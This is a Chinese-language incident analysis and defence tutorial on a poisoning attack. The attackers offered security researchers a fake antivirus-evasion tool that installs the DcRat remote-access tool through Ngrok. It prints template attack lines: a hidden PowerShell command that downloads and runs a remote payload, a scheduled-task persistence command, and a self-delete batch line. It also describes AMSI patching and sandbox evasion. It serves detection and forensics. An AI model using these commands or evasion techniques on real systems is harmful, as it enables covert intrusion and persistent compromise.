一次针对安全人员免杀工具的投毒事件分析
字数 1525 2025-08-06 18:07:40
针对安全人员免杀工具的投毒事件分析及防御教学
事件概述
这是一次针对安全研究人员的高级投毒攻击,攻击者通过提供"免杀工具"诱骗安全人员下载执行恶意软件。攻击链完整,技术手段多样,值得深入分析。
攻击技术分解
1. 初始访问(Initial Access)
- 通过伪造"免杀工具"诱骗目标下载
- 利用安全研究人员对测试工具的需求心理
- 文件可能伪装成常见安全工具或破解补丁
2. 执行(Execution)
- 主要使用PowerShell进行远程下载和执行
- 典型执行命令特征:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://恶意URL/payload')" - 使用混淆的PowerShell脚本绕过基础检测
3. 持久化(Persistence)
- 创建计划任务实现持久化
- 典型技术:
schtasks /create /tn "看似合法的任务名" /tr "恶意程序路径" /sc minute /mo 间隔分钟 - 可能结合注册表Run键实现双重持久化
4. 防御规避(Defense Evasion)
-
AMSI补丁(Patch amsi):绕过Windows反恶意软件扫描接口
- 通过内存补丁修改amsi.dll函数
- 使用PowerShell反射加载绕过
-
混淆技术:
- 使用OLLVM进行二进制混淆
- 字符串加密、控制流平坦化
-
进程注入(Process Injection):
- 将恶意代码注入到合法进程(如explorer.exe)
- 使用PEtoShellcode技术将PE转换为shellcode注入
-
伪造签名:使用窃取或伪造的代码签名证书
5. 命令与控制(C2)
- 使用DcRat等远控工具
- 通过Ngrok实现内网穿透和C2隐藏
- 将本地端口映射到公网
- 使用随机子域名防止溯源
- 采用"sleep for a long time"策略规避检测
- 长时间休眠避免频繁通信
- 随机化通信间隔
6. 反分析技术
-
Anti Sandbox:
- 检查用户名(常见沙箱使用默认用户名)
- 检查运行进程列表(查找沙箱特有进程)
-
Anti VM:
- 检查硬件特征(如MAC地址、磁盘大小)
- 查找虚拟机特有文件和驱动
-
自删除(self delete):
- 执行后删除自身
- 使用批处理脚本延迟删除:
ping 127.0.0.1 -n 5 > nul & del "恶意文件路径"
防御措施
1. 预防措施
- 仅从可信来源下载安全工具
- 在隔离环境中测试未知工具
- 禁用不必要的PowerShell执行策略
2. 检测方法
- 监控异常的计划任务创建
- 检测amsi.dll的内存补丁行为
- 分析PowerShell日志中的可疑下载和执行
3. 响应措施
- 隔离受感染主机
- 检查计划任务和启动项
- 分析网络连接中的Ngrok相关域名
4. 加固建议
- 启用PowerShell脚本块日志记录
- 配置AMSI保护级别为最大
- 限制计划任务的创建权限
技术深度解析
DcRat特征分析
- 基于.NET的远程访问工具
- 支持文件管理、屏幕控制、键盘记录
- 使用AES加密C2通信
Ngrok隐藏技术
- 攻击者在本地运行Ngrok客户端
- 将本地端口(如4444)映射到ngrok.io子域名
- 恶意软件连接随机生成的子域名
- 优势:
- 无需公网IP
- 自动HTTPS加密
- 可随时更换域名
OLLVM混淆原理
- 实现控制流平坦化,将逻辑拆分为多个基本块
- 使用不透明谓词插入虚假分支
- 字符串和API调用动态解析
取证关键点
-
检查以下位置:
%AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunC:\Windows\Tasks\
-
查找可疑的PowerShell历史记录:
Get-Content (Get-PSReadlineOption).HistorySavePath -
检查异常的网络连接:
netstat -ano | findstr "ngrok"
总结
此次攻击展示了高级攻击者针对安全人员的精准打击能力,结合了多种先进技术实现隐蔽持久化。防御此类攻击需要多层防护,特别强调行为检测和最小权限原则。